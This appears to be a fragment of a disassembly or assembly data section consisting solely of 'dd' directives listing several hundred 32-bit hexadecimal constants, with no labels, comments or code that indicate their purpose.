		dd 0CFE70C4h, 0A7C3E2D7h, 0F639D4CDh, 85C384FDh, 44F226EAh
		dd 68116C54h, 493CBD35h, 0BC23D35h, 27A4B1C0h, 0C3F18EE8h
		dd 0DB39BB5Dh, 4ECB0935h, 0F5BBFF76h, 59F0BE35h, 0ABEED493h
		dd 0B42099CDh, 0ACB772C2h, 3F3ED57Fh, 3D018B68h, 0FE3DBB28h
		dd 0A9CFB4A2h, 0E81459B5h, 0F47BE52Fh, 0DB97FFB2h, 46F5E6A9h
		dd 0AC36DE49h, 0AA272424h, 0E71AF8E0h, 0C858F8E8h, 1A95F934h
		dd 91CF08EEh, 0AEC9BD1Ah, 28C202C7h, 47056CF6h,	5A2ADE9Ah
		dd 0A5EA8303h, 8CB22138h, 0F6FBD938h, 0E39387EBh, 5CA0E6C7h
		dd 5CC3AA9Dh, 0DE398739h, 590EFC87h, 0A1FF4A8Ch, 0DAD9CED9h
		dd 0F627B610h, 0F8AD72D5h, 9E51EEC9h, 0D566DDC9h, 0DFE4DC20h
		dd 0AD1C1AAAh, 0FD061034h, 73F5D7E6h, 0B47DDAE1h, 5D88167h
		dd 76B2F9F3h, 8ACB5485h, 0F7FB2733h, 0A736EA07h, 4DEDD5ECh
		dd 0EA32E644h, 0BB1698EFh, 44D5202Dh, 5DAE2D2Fh, 0E9DB20A7h
		dd 709AD4A4h, 861657D5h, 0F6898253h, 0B22EACC7h, 4720CF5Ch
		dd 0C63849FEh, 0F1EEC668h, 9EE27E19h, 1D3868F2h, 90F0F0B3h
		dd 44317DF8h, 86389DEEh, 6B9081FFh, 87BBE4BEh, 92D88CCDh
		dd 6760971Dh, 48354066h, 0A6EEC296h, 5CFAF2E3h,	0BB0C80BFh
		dd 0E8D81CEh, 0E4AB1769h, 0AEFDAF1Fh, 0BA9C19E4h, 99E41AABh
		dd 0EA1FCC81h, 7295F221h, 0AE3586F3h, 0ADC6BD33h, 7444FBEBh
		dd 0F0318D6Ch, 0F6331640h, 0A6DC3D32h, 0C11AC85Eh, 1A5EE6DEh
		dd 0D1E41A30h, 9662B0D5h, 0BA73945Dh, 0D16BF3CCh, 0D3317C01h
		dd 543AC79Fh, 43FCC78Eh, 432EC2DFh, 0F9BA98ECh,	33D4DD3h
		dd 0FF69DA3Ah, 0AE439FE8h, 0FA1DC9E3h, 0F210CA27h, 386903A2h
		dd 0F6FFD5h, 465BE7F3h,	0E9117405h, 9CB590BEh, 0CE25E3B9h
		dd 0C898C11Ah, 0A9EAF4C7h, 65E4533h, 0A98ED4E5h, 0EA38BCC2h
		dd 0B309F918h, 8BEDA109h, 929EA7D1h, 5E0E52Eh, 50EEDFDBh
		dd 0EA0367C8h, 0D48A8469h, 0C423D6F3h, 0C5B97190h, 0D26F44BEh
		dd 0C51559A4h, 915874C3h, 0E931DCEDh, 0BD7D7E9Dh, 891EB0B7h
		dd 0AA1F188Bh, 0A23D6ECEh, 74C4DC6Fh, 0AD28552Fh, 0EBC1441Bh
		dd 622AE32Ch, 0D21FA5D9h, 881DE377h, 55CFE030h,	0A18637F2h
		dd 6E14E49Eh, 925C2EE9h, 0CD317939h, 0EA5DD6DAh, 82CF17E0h
		dd 0CDFD3391h, 473FE71Eh, 0CB279108h, 8E20231Dh, 5DCE119h
		dd 80711D1Bh, 565C1111h, 67517840h, 0C4999397h,	36590C43h
		dd 0ED22ED36h, 0CA51E894h, 22D898E0h, 773A9921h, 0B61ADF75h
		dd 65F2A50Fh, 7EE0100Dh, 0C462B757h, 0C86D80B5h, 562427ADh
		dd 0E82E10DCh, 9F35ABB8h, 8F9C500Dh, 46FF97B6h,	2DFAE137h
		dd 497975F4h, 0AD88E93Fh, 4419101Ah, 0E3EDAD1h,	9CAAC114h
		dd 0A70CC016h, 0E40518C5h, 9F28761Ch, 0B239C91Ch, 7F814DFFh
		dd 0F1FAF4D4h, 0EE3EE9CEh, 0EF1A8449h, 14FDA6D7h, 118B9329h
		dd 960D8AD6h, 81C0C4E0h, 0EA7493CAh, 0D6788CEBh, 0AD9F1029h
		dd 0EDC167F9h, 6BFD2DEDh
		dd 5F29383Dh, 0AF2D687Fh, 67252BE8h, 0EE1BECCDh, 5808ACC8h
		dd 0C1E102D5h, 0E604C032h, 7369DDFFh, 0AC05BDA1h, 76E632EAh
		dd 950580CCh, 780DBBF1h, 0F7F7AC3Dh, 0A7CEE925h, 0A6E5C0F9h
		dd 8DC796E1h, 9A031ACFh, 8100CC33h, 0EFF9D6D5h,	5D58E527h
		dd 4DDDB309h, 7EF7BE19h, 7BFB7E2Fh, 0F093E41Eh,	7F23E124h
		dd 8618F0CBh, 0C61F545Ah, 0A7EDD9Dh, 0EDAF97BDh, 0AFC1DDFFh
		dd 0ED08E0A8h, 4919E4E9h, 7D9EBEA5h, 0A5C7C53Ch, 95E7373Ch
		dd 8C997781h, 0AE5AAE96h, 9DC15D19h, 62E10D30h,	0BB823230h
		dd 0D52E5560h, 0F601983Fh, 0C5A13FD4h, 0ACAD203Bh, 77B472D1h
		dd 4D36FBFFh, 0D38EEA60h, 3447AF6Ch, 0E4FFBCF3h, 0F5B7D3D7h
		dd 0E4D2BF1Dh, 8E02AD38h, 36F57E31h, 0EF0E5B55h, 0A22D9215h
		dd 6BD6C095h, 4C7E0314h, 6119C4B9h, 0BAEDD088h,	897C9EC8h
		dd 5FE4E78Ah, 0B681E2E5h, 8D101073h, 0BD1DAED3h, 0A03500DEh
		dd 5EC262F6h, 8D59ECB8h, 5B5EBFF0h, 0ADE85DDDh,	0BCEFE821h
		dd 8151F3B3h, 5BCDDDE1h, 827FA64Bh, 4EB37A08h, 8C93ADF1h
		dd 0DB15A2E1h, 0EF8B6535h, 891FDCE7h, 97F98EDDh, 79CA8539h
		dd 0B81BDADFh, 0AA0EEA9Dh, 48BEF2F8h, 0BAF1B4D3h, 94CADC17h
		dd 0A7FF223Dh, 0DCEF83F8h, 0BF16FD2Ch, 522E2025h, 4F11ADC2h
		dd 821EC2D4h, 95053D24h, 4554D3FEh, 0CB126411h,	0E8F97834h
		dd 0A0B1AD19h, 2F69B7D8h, 0ACBD805Dh, 4958AD1Ah, 1C09B7F0h
		dd 0B49C2AFFh, 0B4CD8A34h, 0F6249857h, 8AE8AA0Ch, 8D63AADEh
		dd 0A136BE34h, 1AA87BEAh, 8A68DEDAh, 0A7870FEEh, 9AD0E292h
		dd 0F0E2AD3Fh, 0A79BE8BBh, 43EA334h, 54CCEA25h,	8EC0BA2Fh
		dd 0BEC7ADE9h, 6E01B299h, 0AFF5ADF0h, 0C3F1FF9Eh, 8DFBADFCh
		dd 0E06CFC8Dh, 1E096617h, 0E97FDCB5h, 0A1EAADFh, 750E3FFDh
		dd 473DE4EDh, 0BF1A9DC6h, 1CD16C9h, 892E9884h, 7A0539D3h
		dd 2ABABD54h, 0BBC88219h, 17F1D1B5h, 2674B03Bh,	0A639AE6Dh
		dd 0B52018EEh, 804DB521h, 0A91CA0DDh, 0AB2ADDDh, 0F3B56DECh
		dd 7F5E2CDDh, 0AF45DF84h, 0E853FF5Bh, 0AD93CF40h, 0C5E363A5h
		dd 0A04018BFh, 4CE5D489h, 80FA3F94h, 0D31D0F9Bh, 0ABC5A48Ch
		dd 0AF85AA61h, 0AE1982D3h, 0E94478FAh, 8DBDFF58h, 8DEF0725h
		dd 0CF672750h, 0CB020426h, 0C502E5CBh, 0B531AE3Ah, 6896676Fh
		dd 15B1DD67h, 0FCF0959Eh, 0AAC9FF2Eh, 581D9C11h, 5CEE76CBh
		dd 68C402E7h, 4D4CFF1Dh, 6CEFAF11h, 0D97DCD3h, 7652BFA9h
		dd 0F9D67EE9h, 0AE1EE7FDh, 4D7C80EEh, 59E09785h, 8546D936h
		dd 5B198A09h, 59105EE1h, 4C8466E9h, 8D69C168h, 0C61060EEh
		dd 8387209h, 319EEBB3h,	252653D7h, 7587B42Dh, 0A86714A1h
		dd 0FE40E73Fh, 729025C1h, 0BC0C5C39h, 3516DE17h, 0E734FFA4h
		dd 58F962F1h, 92134D17h, 2A34271Ch, 497E1F86h, 0EE309E45h
		dd 0A438404Ch, 40AA8D9Ch, 84CE8EC1h, 3F0FF91Fh,	0DE20BE1Fh
		dd 153D64DBh, 95FFD04Eh, 0EAE51823h, 730682F4h,	0D9F3E330h
		dd 3210476Bh, 0F40E8BFCh, 0A1F1FBF4h, 7C3CA53Eh, 0E50CB6E9h
		dd 909931B0h, 0A2B79956h, 0AF97D9F6h, 9FFEAB52h, 0ABFD7139h
		dd 0A418B014h, 27648635h, 44DF67A5h, 647EFD27h,	87EFD5BBh
		dd 979CC2Dh, 4CF6BCA2h,	0C6397F01h, 33BEBED0h, 6CC86C02h
		dd 2A525BA8h, 713D608Fh, 1B2781DBh, 5C2005E9h, 6EC28087h
		dd 0C634CCD1h, 0EE3990A8h, 0C1FC2775h, 4ABD699h, 8EAC9683h
		dd 0B5C59B7Eh, 0B3330109h, 40AAB4BBh, 4F5CF885h, 6AEE6E92h
		dd 0A8E5B7DEh, 1D80BC9Fh, 0AFCB25A2h, 0EDC5C50Ch, 5BCDC734h
		dd 99FA9B6Eh, 96C09739h, 45CAC2D4h, 0F7A5DF8Eh,	7304F833h
		dd 8A15F73Fh, 0CE16BEBDh, 75B6C2C3h, 0BC31D088h, 8AEFB56Dh
		dd 0C9E4B1CCh, 6DE2A75Ch, 0FB0B2E40h, 68F99480h, 843AFFF1h
		dd 9806C3D4h, 0B804AAC4h, 58EF1C20h, 0C639C3EFh, 0FE1A8433h
		dd 22A2DACDh, 9BE26FB9h, 58CA541Fh, 7A41BA98h, 2E968E09h
		dd 0EDE35ED6h, 0A71342FDh, 780958EBh, 4EA4599Bh, 547DA5D5h
		dd 3968134h, 9CA4E2E7h,	0E407C492h, 0C9E3D6B2h,	99AD0ACh
		dd 8BA2E660h, 0CF26D90Fh, 0CC51E105h, 26315115h, 0C1B29100h
		dd 8104AD02h, 0FDFA06CFh, 1FC95898h, 0CF2FAC3Ah, 0D65F0A2Dh
		dd 8032DDDDh, 86EBACC8h, 52E7AEC1h, 321A3774h, 0AD41A3CCh
		dd 8202BB76h, 0CF8D6B23h, 1542E5DFh, 0C40C6CE9h, 3AB4002Dh
		dd 0AE6BA668h, 0A5CDE456h, 0E029CE23h, 80E1B03Ch, 0BE00D88Ah
		dd 9AADF33Dh, 0F8048AA2h, 0F5C4AC7Fh, 0F802843Fh, 8AD96C07h
		dd 3E5BFFFEh, 0C29C1211h, 0F68CE009h, 56202C95h, 0B85FB8D5h
		dd 21D1BADAh, 2FD9EB08h, 83510375h, 0C459B93Bh,	0B4FF945Bh
		dd 8FD9F77Ah, 95BF3015h, 0AE5E8B19h, 0E2628612h, 0F87F4657h
		dd 9721E4A3h, 0F6AA1648h, 0F265A899h, 0C549363Ch, 0D6A99002h
		dd 0BF9E675Dh, 21CC9496h, 0C589A04Ah, 0B7BE1A7Eh, 0CBE1513Ch
		dd 0D75CADEDh, 3CA7E4DBh, 0D59D2CA3h, 0D1F7B2E2h, 2DF2F96Dh
		dd 0DD7399D7h, 0BDA510FCh, 921F9D81h, 0ED7A9008h, 276D2E98h
		dd 262359EEh, 0C9A7E002h, 0A299E29h, 0AD6A119h,	0D7FD2E51h
		dd 0A9D83B3Fh, 4C895B2Fh, 64981496h, 37511E80h,	0CACD417Eh
		dd 0D7605CEh, 56FEE083h, 0B4EA1C92h, 4D93B04Eh,	0F6FE659Eh
		dd 175A674Ah, 0ED0089Dh, 0DF836E85h, 0FD09E104h, 0CC7F1CF9h
		dd 0D36E0876h, 1E63B65Eh, 26EF4A08h, 0C4A20A92h, 0FD1A652h
		dd 4C5013CEh, 98257FF3h, 0A236D113h, 253482E5h,	0C78562CAh
		dd 7C5E87CBh, 0D1A9A0DAh, 9B1691C8h, 23A61BD9h,	262AA674h
		dd 2242F0E7h, 8D093E23h, 0C3D6CC62h, 7853CF73h,	75851512h
		dd 155B8C6Dh, 0CB259152h, 924D054Ah, 58D9FC81h,	9619556Ch
		dd 0AA2504EBh, 0C636EED6h, 2DEEBE42h, 0AA746194h, 4F595EECh
		dd 0ADD81269h, 0DBED170Ch, 2D5528CCh, 0CBB93BC2h, 273B94E0h
		dd 0B75AA199h, 15C2C2C9h, 49CD44A4h, 0C4674955h, 0E9EE1D4Fh
		dd 8F7F8C09h, 49C9B5C9h, 4C7F1974h, 0B00CEE1h, 1BDFBCE7h
		dd 5D819C3Dh, 0B1237912h, 61368122h, 2D5AB88Fh,	2BF26216h
		dd 55D61C39h, 0B716B915h, 0B54C1A3Ch, 442405DBh, 0A41E2272h
		dd 4353687Dh, 0D6EBE30Eh, 6E43386Ah, 218F2AE3h,	0FB3E6E73h
		dd 0C859C8EDh, 0D4B6C544h, 7650A508h, 0CC997024h, 0CB1E760Eh
		dd 0CF47DE89h, 8BDEF59Dh, 0B7FE83EEh, 0FAFC72B1h, 83687AF5h
		dd 0A53C9B5Bh, 2A6348C3h, 0FEEDFA7Ch, 5BF180A8h, 2D2D1CACh
		dd 8A813B85h, 3F2F97DEh, 40D4118Bh, 22C9F42Bh, 0F959FC1Dh
		dd 0CF9ADCFDh, 0F61BC4FBh, 48596A1Ch, 28B94424h, 23511459h
		dd 9AE7B61Dh, 0D589BA54h, 99D21028h, 0D37F6816h, 2E5C0621h
		dd 51CE2E6Ah, 85F5FEFh,	4EB9C800h, 7869EF12h, 99DC383Ch
		dd 0D9A00F61h, 704F1AF3h, 0ED508F4Dh, 0F2F295C2h, 6D2345B7h
		dd 0F690673h, 46FCE650h, 0C629801Fh, 59295026h,	0C5A36914h
		dd 0C0890F50h, 4D0E21EBh, 0B5691D54h, 0FBA5EB08h, 2FFA0FCCh
		dd 72EA6935h, 2BE673DEh, 0E3250D8h, 55075057h, 3A46A821h
		dd 0D957000Dh, 0D7217700h, 592810B4h, 10BDEC50h, 165E647Eh
		dd 0B6FE963Fh, 72D82560h, 6A58E1EAh, 5055C1Dh, 0CD92C14h
		dd 1062319h, 0DB5F5851h, 0A85968ECh, 7504772h, 52AC53A0h
		dd 1A078CDh, 795C9BA0h,	0C4355887h, 917B61h, 81B73FBCh
		dd 5F460C56h, 63C61D44h, 996920DDh, 8B8AB476h, 4D51F99Bh
		dd 4445A1AEh, 35F8AEE5h, 0A451374Ch, 21DB7EF5h,	2A2F5D83h
		dd 581D1640h, 3BADCE02h
		dd 33239C1Fh, 9BE01EA1h, 0A4F7504Ah, 0FF5F5591h, 58AA2A0Dh
		dd 4738B976h, 7212E339h, 5D128ADAh, 0A8CEAE04h,	46127E86h
		dd 0B5CC61F1h, 35D49E3Eh, 95A96CE2h, 0F418DEE7h, 0C58DD80h
		dd 0AAF1298h, 0CE74D084h, 0C9475BCCh, 0C6DA03A6h, 737A26F7h
		dd 3ED2BF22h, 6CD4690h,	0B59A9353h, 0DAC7F7ABh,	0AC39509Ah
		dd 0F4771C2h, 70F4F70Eh, 0C7C29561h, 0BA2F5A1Dh, 0CEB231D7h
		dd 88CAD8E7h, 689DE0E5h, 696E90F2h, 72480983h, 7D0BF243h
		dd 55FE3D1Fh, 7EF3F69Dh, 0DAD6A77Bh, 0F01D949Dh, 2AEF68Dh
		dd 0A864BA52h, 0DB102BADh, 213B74E9h, 0E1AE92D9h, 0E1B7BA83h
		dd 0B03EC6F8h, 6C1296A3h, 2074E0E4h, 4A64942Dh,	9FFC87A6h
		dd 11C8410h, 8AA2B010h,	30823382h, 160A90C3h, 532A741Dh
		dd 0A96206EFh, 0D5BD1AACh, 36F31164h, 0E96360B8h, 96653319h
		dd 50F6995Ch, 44BC14E3h, 5D38C9B8h, 5CD76211h, 424225F0h
		dd 0AA59025Eh, 450D9C80h, 8F9AB058h, 833EFC91h,	5EB7244Eh
		dd 5FE19F29h, 0D17410EAh, 2B892770h, 0D0691721h, 23C19686h
		dd 0C177683Ch, 417B0305h, 0D76AF41Fh, 2571D161h, 0ECC6C9D1h
		dd 0DFC32BB3h, 0D2B27217h, 35F812C0h, 83FEEF3Dh, 5181E1F0h
		dd 0B440ACBEh, 2557FC8Bh, 0D919737Ah, 0ED706E6h, 0ED57084Eh
		dd 20460781h, 88520A00h, 0A740F091h, 0A2DDA266h, 0D753E00Dh
		dd 6A5E7743h, 0CD851CC4h, 0C9B6E091h, 0F54F7C9Dh, 0AD1B1BFCh
		dd 7DB57710h, 4DE2A9DEh, 542169B6h, 0BE853115h,	0A7E7746Ch
		dd 0A736BD21h, 5B378A21h, 0E578C6FAh, 0CF589F0Fh, 995DD790h
		dd 91FCFCF2h, 86DBE133h, 21853718h, 0F532DF15h,	0E1EA3C67h
		dd 0CAA19BA2h, 885D103Fh, 821BFCA4h, 71DBD115h,	951FC80Bh
		dd 0F5B12600h, 35D96718h, 86C2D8FDh, 0D5D1DCCDh, 0DBC88724h
		dd 0EE36A769h, 0E901420Ch, 0BAFBE0F9h, 0B1453ED6h, 591B30A9h
		dd 0C9E2ACBBh, 0C561B46Dh, 801F943h, 9BF09F81h,	982167BEh
		dd 2937C88Fh, 0DB0288D4h, 0F213DB9Fh, 0A9AEFE0Ch, 5B0FFE9h
		dd 0CA103515h, 9E290A0Eh, 35773255h, 0FEBCEA7Bh, 0D4507219h
		dd 0BA5E0F2Ah, 86115CA1h, 0C55FED27h, 33C56691h, 0E542BF9Eh
		dd 68FE30FDh, 0A1B6ED36h, 0C8E8FC2Eh, 0C6BAE0ADh, 0F16FD261h
		dd 3B39AC90h, 0D3B4A3Eh, 1E1CBBE4h, 8866CEDDh, 0D2998483h
		dd 378939D5h, 0AC113DE2h, 0CB09E835h, 0C4614011h, 15D178A6h
		dd 0E00937D2h, 0CB4CDA78h, 694EE536h, 765AB07Ch, 0ED7CE4CFh
		dd 65337C88h, 0E4DE95ACh, 4E2AE4ADh, 0CB53DFAFh, 445E048Fh
		dd 795AC0C2h, 8612D919h, 4CC2944Ah, 0CE1900E4h,	0A6D9CC62h
		dd 48C95E19h, 0B287911Eh, 0C779AEABh, 0EB4AE11Fh, 4E35C219h
		dd 0C01D1202h, 9B0FFC50h, 0CE5E2287h, 0CDDFFB1Fh, 1D33DCA6h
		dd 1F5C0310h, 0F503FBB9h, 0E832E4E9h, 0C085E00Dh, 0CBAA189Ch
		dd 55AE2912h, 5551E8FDh, 8BDE18FDh, 69393B12h, 91ADF68Dh
		dd 0CBA2909Ah, 0AB239C89h, 0B4FD5CF1h, 0EBB9770Ch, 4CF942FDh
		dd 0D4BE3219h, 423CDAA6h, 0F920D4CDh, 0CDB91EF8h, 52DC3E21h
		dd 0AB5F460Ch, 59F1BF33h, 44040F66h, 0F0FA132Eh, 7A03A9F9h
		dd 0CD37D7D7h, 0F13F8421h, 0FC78DB32h, 0EA31FF92h, 0ACC2C24Dh
		dd 0B2102FEBh, 0B6CFFB7Ch, 0A12ADC3Bh, 91067C91h, 9603F8CBh
		dd 74FCE9A4h, 3DE0B4CDh, 91C72F66h, 0DAACB4CBh,	7237D99Ch
		dd 4F0C7532h, 0AF64A621h, 9183F290h, 413599A4h,	0E25E1A76h
		dd 9DCA7530h, 19638AD4h, 0C9D84524h, 29531A21h,	0CDBBF0BFh
		dd 55FA81B2h, 8300A155h, 3AD3EAFDh, 0B3CAEF0Dh,	34C351CAh
		dd 355F8095h, 0DC02A27h, 0C61A193Dh, 0F7597825h, 39E50BFEh
		dd 1B469574h, 68CAD4CBh, 0D5507E19h, 3CE9AFF7h,	0E9CD5873h
		dd 54F60D0Dh, 7EBAEDFEh, 4ADA199Dh, 57F1476h, 0AEC3AE34h
		dd 39FAAA0Dh, 30D55EF9h, 0DCE1A0EDh, 0F19A19FAh, 95A54401h
		dd 233E4C58h, 6C416C0Ch, 659BF585h, 25B9217Dh, 0CA69F281h
		dd 0AFA110A1h, 0EA59A9A4h, 2A52C4F9h, 70F58792h, 0F1D68694h
		dd 4F554DE9h, 95E41345h, 0D54B44CDh, 0F2757D0Eh, 52AB4C5Ah
		dd 0F1DD660Eh, 65A53D24h, 0D5A9A57Ch, 235E0CD1h, 699AF5AAh
		dd 7972F513h, 55629108h, 0D633117Bh, 15D67A4Bh,	0A4192FAh
		dd 6A5A02FBh, 297230AFh, 0AD5529CDh, 0C6FE00CDh, 0DD8F8487h
		dd 0F4D2DB12h, 89580AFFh, 30AF720Dh, 0BDC26B4Fh, 7CE4E24Dh
		dd 0D4941B80h, 0A9D15E3h, 46D2F66h, 85FE3D56h, 6E669AF5h
		dd 0F0C1F24Ch, 0E5D8CD6Dh, 14098105h, 31335F8Ah, 0E191D9DAh
		dd 36C84808h, 759FDF6Dh, 0EB718411h, 1625281Ch,	4D9F1461h
		dd 5E531DC6h, 0E44827Ch, 2830ECh, 55880C00h, 8151D478h
		dd 54611FFBh, 0BC3F7E6h, 95C72F5Eh, 0B830BD51h,	5F942C0Dh
		dd 0C95E5577h, 9283F35Fh, 2B52622Eh, 0A6D1F58Dh, 41B00400h
		dd 149C045Eh, 9A4837C0h, 1490189Ch, 904E88FAh, 0BC85F7DCh
		dd 0F554604Eh, 4DBE7221h, 0FAC7A30Bh, 0B61924D1h, 0AFFA3F67h
		dd 331000FAh, 3E9950ABh, 5906B754h, 0B4597674h,	0E2A8E22Dh
		dd 0D1097EFh, 553EF8B4h, 0C9DC3518h, 0F9BC1880h, 0DD5C1C98h
		dd 6201B5C9h, 5624B027h, 8A4EE2FEh, 0FD49AD6Fh,	0C2044F51h
		dd 9B5F508Bh, 965FBC4Dh, 7CAC0C2h, 0CD42F8A0h, 0CC59BD76h
		dd 51566439h, 0FD16E4C2h, 0C271D5Dh, 0D3CAD859h, 513293CCh
		dd 0F1E9F967h, 0BE45BF5Ah, 0C23B1E4Ah, 0C3C9901Dh, 955A6879h
		dd 9A7C1EF8h, 5A5F1D1Bh, 94C0B8D9h, 0C9929DC6h,	0D0075D50h
		dd 47767D13h, 0CA6B9D02h, 0BE57607Fh, 5208175h,	39F31498h
		dd 2648E11Fh, 0E3E6FADEh, 0FE7AC0FDh, 0B518C3Eh, 0A9F1BD7Ch
		dd 0C7101A2Ch, 6FB10389h, 0B0F7A84Eh, 21DFA117h, 435071D9h
		dd 96196301h, 0D44E2959h, 631D40B7h, 9E1AEDAh, 0D47EF8F7h
		dd 0BAEDE448h, 0B9734006h, 0A929C1Fh, 0A5983CF6h, 3CC7EDE3h
		dd 0B51E61B1h, 0B3874EBBh, 0FC98DC8Ah, 0D3AD35C1h, 0AE07B046h
		dd 64B08AECh, 0AF04087Bh, 770EFE74h, 0A8355799h, 0ACD781F1h
		dd 0D800D6F6h, 0AD057F9Bh, 85C668E1h, 59CDF870h, 0C603BE24h
		dd 0EA6E97EFh, 47890BE9h, 25FFA7ACh, 0DC99ADFDh, 0C60678C8h
		dd 0C089DD48h, 907FD930h, 2D3E864Ah, 0DBC420F9h, 0EDDDEE10h
		dd 0D0E2A3CEh, 0B63C749Eh, 0BBC98E20h, 83C480F3h, 0A2FE5BC1h
		dd 3BE244CDh, 41A29FB1h, 420F0569h, 1A1898EEh, 6A9C23B0h
		dd 58F8CEB1h, 0D1800861h, 0E15E81EEh, 0F5967DA9h, 0AD5CBC9Ch
		dd 8F03BEF6h, 6D16D15Dh, 471F85Fh, 82C103F8h, 8BA1DEC1h
		dd 89CD4F39h, 1E2A4426h, 88E0DA14h, 60DF84C3h, 0AB5954AAh
		dd 6C8B8C84h, 0A66F8D26h, 0DE94BFA3h, 59CDE742h, 618E9660h
		dd 4A65ADE6h, 0CC8BD227h, 0F57F93E3h, 6A0E7638h, 91DB9B7h
		dd 424E99D8h, 23AB80FDh, 0CC8EBE40h, 72073518h,	0E72993D4h
		dd 0E30FAF38h, 31817954h, 5CEEC40Bh, 0E56841BDh, 321F891Bh
		dd 0A1C40FF5h, 27E2CEA6h, 0E305976Ch, 4CF65A52h, 72AEC579h
		dd 0F875D3B3h, 4F068C98h, 77D79580h, 5D3E71Eh, 0EF4378CBh
		dd 0BBFEDEC8h, 7D8DFC07h, 7DBDE67Ah, 893AA95Fh,	71F5966Eh
		dd 73446B91h, 44638C2Ch, 664EE89Ch, 9E2715C0h, 0ADA5245Eh
		dd 0B0E33E98h, 484B3847h, 0D1FC8E17h, 231DC413h, 9387F7EEh
		dd 0D5E6CCE0h, 0AF2725D1h, 31081809h, 10B5C199h, 0E7771216h
		dd 0EDB028EAh, 48A8CCFFh, 8E2CF030h, 0BFF3A71Dh, 0AD6DF88Bh
		dd 86E09F3Dh, 0FB9D4EE5h, 8686C12Fh, 2C1C3ED3h,	92294DD9h
		dd 89394605h, 7879786Dh
		dd 35180BF7h, 66E8DCFDh, 6B8D91DAh, 9A8287F2h, 8F8D6C15h
		dd 423D7835h, 0E9F9D8FAh, 8238CCF3h, 494CAF31h,	4A0E8D97h
		dd 0B982205Bh, 310CE744h, 3ADFB6DDh, 7350605Fh,	0D45AC915h
		dd 6F551CE1h, 949958A4h, 0A36656F4h, 89E873Ah, 5DEF5C09h
		dd 0C5DBA13Ah, 88BE342Ah, 98BBCEE6h, 94A548A3h,	9386B57Fh
		dd 814AD6FCh, 95D059Ah,	0C4488929h, 1BC97E7h, 0F1C55AA0h
		dd 0FA1E8D55h, 1D60E4DAh, 726EB25Dh, 658C9E1Ah,	9E59ED5Ah
		dd 0B50ABD6Eh, 0C55504F1h, 28E929FEh, 13D402AAh, 5D88896Eh
		dd 2DADD5E5h, 65C9BE72h, 0D41F6962h, 58F6E134h,	8393E0AEh
		dd 3D04897Ch, 0C6CD922Bh, 2D483A58h, 0C3DAFDABh, 3AA2DFDDh
		dd 7E60A2A0h, 0C2017DF7h, 26A28EFAh, 5512BAA2h,	3D38A79Ah
		dd 432AD493h, 610478F9h, 0EDEEAD85h, 235AAED2h,	0CE2F6D3Ch
		dd 8FF33ED1h, 69E497A8h, 99E81715h, 2DF4DBDDh, 0C7E45833h
		dd 0B800CD4Ch, 0C71886ECh, 67CDC678h, 7BB396C2h, 712F935Ah
		dd 0AFBA7360h, 17E124D2h, 0E17226D9h, 0F22F2F0Eh, 9F7575F8h
		dd 0E9B8BF1Dh, 26D818B3h, 12301A47h, 0CA8EC4F8h, 0D9D0AC91h
		dd 3D79F8E0h, 0F8C183E4h, 0F3FE2E1Fh, 0E0E4ED3Fh, 21BB8182h
		dd 0CF9F46A8h, 0E98E8B99h, 8D3EA6FAh, 0A8E68654h, 0A71A4855h
		dd 0FDF25823h, 8D0FF8CDh, 51D59734h, 0A4C4BCF8h, 4F0D4728h
		dd 6E5FEEB3h, 6962B392h, 4F00C135h, 6627CF04h, 86EEA7DEh
		dd 4CC14EC8h, 80AAC0E4h, 0FB1EACD6h, 0CDEBADCEh, 85EDB482h
		dd 0EEE5AE48h, 1401341Dh, 3BF19BF4h, 0C7A075CBh, 0C6DEC7D4h
		dd 0C5787287h, 0CF3D71Fh, 0A9D72D05h, 5E228229h, 3A0389BFh
		dd 0F4D2DE26h, 0B99484E7h, 8426A86Ah, 9415A2D1h, 261B6211h
		dd 821DDCADh, 853AC0B3h, 559353D8h, 66D1AE72h, 50084FFh
		dd 6741BD28h, 8913162Dh, 0BDF94385h, 0F6E95633h, 5FA50AD6h
		dd 9D00CE30h, 0F9D69119h, 4DB29E46h, 4146ACC9h,	0E621B48Dh
		dd 0EE5961E8h, 4E9AE13Ch, 0FD406925h, 0F21A62CDh, 46DB2D1Ch
		dd 5DDAEF41h, 0F9C0A069h, 41DC30C5h, 0BA003E6Eh, 0EE3B0F20h
		dd 4956F814h, 0C5EF54DDh, 0D51D552Fh, 79D96791h, 0E328914h
		dd 0BB1170C1h, 2621E131h, 0C475618Eh, 5D7D6C95h, 0FE09CCFFh
		dd 25E21D19h, 872BD8Fh,	9C8AE12Fh, 0EA50EEA5h, 0CCEAA4E1h
		dd 8A217AC1h, 0DDDAE125h, 0A8017C8Ch, 0CC9EEF51h, 0F65E70C8h
		dd 45CD3BD9h, 796AE13Eh, 0AB6D70EEh, 0F25AD7C1h, 91D3DAB5h
		dd 47D4DA91h, 3621F8CAh, 0C4616183h, 497D6C95h,	0F609D8FFh
		dd 511B2521h, 0EB1B7CC1h, 0E096FD9h, 0CD71701Dh, 99B9401h
		dd 7A1DF097h, 9D16E13Fh, 0F451EF2Dh, 0E5C955Dh,	0CA86DC14h
		dd 0C50BB92Dh, 757AE7E1h, 0CE2EDD2Dh, 41D73895h, 0E5BD4485h
		dd 0EB2164DEh, 37507DDDh, 8FE3AE0Dh, 0CA11A9D9h, 0B8F6DBDFh
		dd 0A25E40F3h, 42ADF080h, 3A0FE7ADh, 0B1C9E55Ch, 431FB214h
		dd 94AB4C59h, 7F4B80FCh, 1AD0ACCFh, 8E1A8E39h, 3EC25C39h
		dd 111D67FFh, 3C08FD8Ch, 9B1EB4BAh, 0BC0F9936h,	87869058h
		dd 78F083F8h, 0F972089Fh, 591DF795h, 9332AEEAh,	63A27290h
		dd 0D493B8D9h, 0A9F184CAh, 46CA22F4h, 29F50CE2h, 0BA35F6F4h
		dd 9BA2C376h, 0BA311D7Eh, 87D9AAD6h, 71F8DD4h, 0A1C5F863h
		dd 4033CEBh, 0DF7ADA82h, 416482F8h, 0F280CED4h,	1F184986h
		dd 53DF81D5h, 994C9C85h, 86DACF5Dh, 0A7E6CEFCh,	831ECCCEh
		dd 29FAD759h, 5A9484F4h, 5CFC1246h, 3399DB9Ah, 10F9FFCEh
		dd 5DFF0829h, 951A9CFEh, 8FE2B141h, 0DE392D84h,	0B8852D8Dh
		dd 0E0BDB5B5h, 45F23AF0h, 0AA9B27FFh, 0ACC4E26Dh, 1B4D70h
		dd 46328AFEh, 21E40F12h, 0AD8527DEh, 0E3BB7415h, 0F7869F8h
		dd 30D770DAh, 0F9751A8Eh, 890D7841h, 0B16D7CB1h, 0AAFA4A48h
